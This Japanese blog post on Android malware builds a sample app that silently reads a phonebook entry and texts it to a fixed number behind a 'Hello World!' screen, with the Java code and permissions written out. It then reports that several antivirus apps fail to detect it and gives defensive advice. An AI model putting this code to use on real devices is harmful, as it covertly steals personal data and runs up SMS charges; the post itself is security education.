Pocket

皆さん、こんにちは。
itouです。

世界のモバイルセキュリティとプライバシー調査に特化した脅威対策センターである
「ジュニパーネットワークス・モバイル脅威センター(MTC)」が2012年3月~2013年3月に実施した調査によると
2013年1Qのモバイルマルウェアのサンプル数は、2012年のQ1に比べ、約7倍に増えており
とくにシェアを伸ばしてAndroid端末に対するマルウェアの増加は大きく、既知のマルウェア全体の92%を占めるとの報告がありました。

Androidのマルウェアについて
・どういう風に作成されるのか?
・どうやって配布されるのか?
・どうやって実行されるのか?
・アンチウィルスソフトはどのくらいの効果があるのか?
今回、マルウェアのサンプルアプリ(以降、サンプル)を通じて、ご紹介していきたいと思います。

今回は研究の目的でマルウェアを作成しておりますが
正当な理由なく、無断で他人のコンピュータにおいて実行させる目的で作成することは罪になるとのことです。
参考までに法務省のURLを掲載しておきます。
http://www.moj.go.jp/content/000073750.htm

サンプルの仕様

サンプルとして
「Androidの電話帳のデータを1件読み取り特定の電話番号にSMS送信する」
というアプリを作成してみます。
アプリ実行者にとっては、「個人情報の流出」と「SMSによる課金」という被害になります。

イメージは下記の通りです。
電話帳は裏で抜き取られるので、A太郎は気づきません。

Android環境構築

まずは、サンプルを作成する為のAndroid開発環境を構築します。
今回はEclipseによる開発を前提に記載しております。
手順は下記の記事をご覧ください。(Macを例にしておりますが、Windowsでも同様の手順で可能です)
MacOS X Mountain LionでのAndroid SDKのインストールと簡単なアプリ実行

Hello World!が表示されたところから、サンプルを作成していきます。

サンプル作成

MainActivityのonCreateメソッド内(アプリ起動時に、最初に実行される箇所)に
下記の通り、電話帳を1件読み取り、SMS送信するコードを記載します。

MainActivity.java

// 電話帳より、任意の1件を読み取り
Cursor c = getContentResolver().query(
  Contacts.CONTENT_URI,
  new String[] { Contacts._ID, Contacts.LOOKUP_KEY,
  Contacts.DISPLAY_NAME }, null, null, null);
if (c.moveToFirst()) {</code>

  // SMS送信先の電話番号を設定
  String destinationAddress = "090xxxxxxxx";

  // 電話帳より読み取った1件の名前を、SMS送信
  SmsManager smsManager = SmsManager.getDefault();
  smsManager.sendTextMessage(destinationAddress, null,
  c.getString(2), null, null);
}
c.close();
super.onStart();

AndroidManifest(パーミッションなどを定義)に
READ_CONTACTS(連絡先データの読み取り)とSEND_SMS(SMSメッセージの送信)を許可するように記載します。

AndroidManifest.xml

 <uses-permission android:name="android.permission.READ_CONTACTS">
 <uses-permission android:name="android.permission.SEND_SMS">

これだけで実装が終わりました。
「エクスポート」→「Export Android Application」でapkファイルを作成します。
メール等で、Android端末に送り、インストールします。

Android側で「提供元不明のアプリ」にチェックをいれるよう要求されるので、チェックします。
私の環境では、インストール時に表示されました。
今回はテストのためにチェックを外してしますが、戻し忘れのないようにお願いいたします。

サンプル実行

サンプルを実行します。

画面上は、Hello World!と表示されるだけですが
裏で指定された電話番号の端末にSMSが送信されていました。

今回は、外見上「Hello World!」と表示するだけですが
実際のマルウェアでは、一見まともなソフトに見せかけて
裏で不正な動作をさせるということが行われています。

アンチウィルスソフトでの対策

では、このようなアプリはアンチウィルスソフトで対策できるでしょうか?
いくつかのアンチウィルスソフトを使用し確認してみたいと思います。

ドコモあんしんスキャン

http://www.nttdocomo.co.jp/service/safety/docomo_anshin_scan/
インストール・実行時のリアルタイムスキャン、インストール後のフルスキャン共に
検知されませんでした。

AVGアンチウィルス

http://www.avg.co.jp/antivirus-for-android
インストール・実行時のリアルタイムスキャン、インストール後のフルスキャン共に
検知されませんでした。

ただし、提供元不明のアプリを許可する設定は望ましくないという警告はありました

SecureBrainアンチウイルス

https://play.google.com/store/apps/details?id=jp.co.securebrain.Antivirus&hl=ja

インストール・実行時のリアルタイムスキャン、インストール後のフルスキャン共に
検知されませんでした。

NoRootファイアウォール

他、視点を変えて、パーソナルファイヤーウォールソフトも試してみました。
https://play.google.com/store/apps/details?id=app.greyshirts.firewall&hl=ja

SMSについては遮断できませんでした。
ただし、他アプリですが、3G、Wifiの通信については遮断の制御ができました。

Lookout

https://www.lookout.com/jp
最後に、Lookoutというアンチウィルスソフトを検証してみます。
インストール・実行時のリアルタイムスキャン、インストール後のフルスキャン共に
検知されませんでした。

しかし、Lookoutは
個人情報アクセス機能を持ったインストール済ソフトを横断的に調べる機能があります。
定期的にユーザが対象ソフトを確認することで、意図しないアクセスがないか確認することができます。
今回のサンプルの場合、「メッセージにアクセス」「連絡先にアクセス」の対象となりました。

残念ながら、今回、マルウェアとして検知できる、もしくはアウトバウンドのSMS通信を遮断できるソフトは見つかりませんでした。

しかし、個人情報にアクセスするソフトを一覧化する
便利なソフトがあることがわかりました。

(補足として、「SecureBrainアンチウイルス」はヒューリスティックスキャンで未知のウィルスを検知する仕組みを持っていますが、他のアンチウィルスソフトで、ヒューリスティックスキャン機能を持っているかは確認できませんでした)

Androidの危険性

今回は、電話帳の任意の1件だけでしたが
もちろん全データをSMSで送信することも可能といえます。

Androidでは電話帳以外に、カレンダーなど
個人情報に比較的簡単にアクセスできるAPIがそろっています。
http://developer.android.com/reference/android/Manifest.permission.html

Windowsの場合は重要ファイルにパスワードをかけるなどの対処が可能ですが
Androidの場合はダイレクトに個人情報にアクセスできるAPIがそろっているため、異なる対処が必要であるといえます。

被害を防ぐために

インストール時と、定期的に
下記を実施すべきと考えます。

インストール時の対応

・インストール時に不審な許可項目(SMS送信するアプリでないのに、SMS送信が許可されているなど)がないかを確認する
AndroidManifest.xmlに定義してある内容が
Androlidをインストールする際に警告する内容となります

・提供元不明のアプリをインストールすることは極力やめる
Google Playなどでは、監視を行っておりますので、提供元不明アプリよりは安全といえます。
(Google Playでもいくつかマルウェアも見つかっていますが)

定期的な対応

・個人情報にアクセスするアプリを調べて認識相違がないかを確認する
今回ご紹介した「Lookout」等で調べることが可能です

最後に

Androidマルウェアの脅威と対策についてお伝えいたしました。
Andoridセキュリティについては、またの機会にご紹介したいと思います。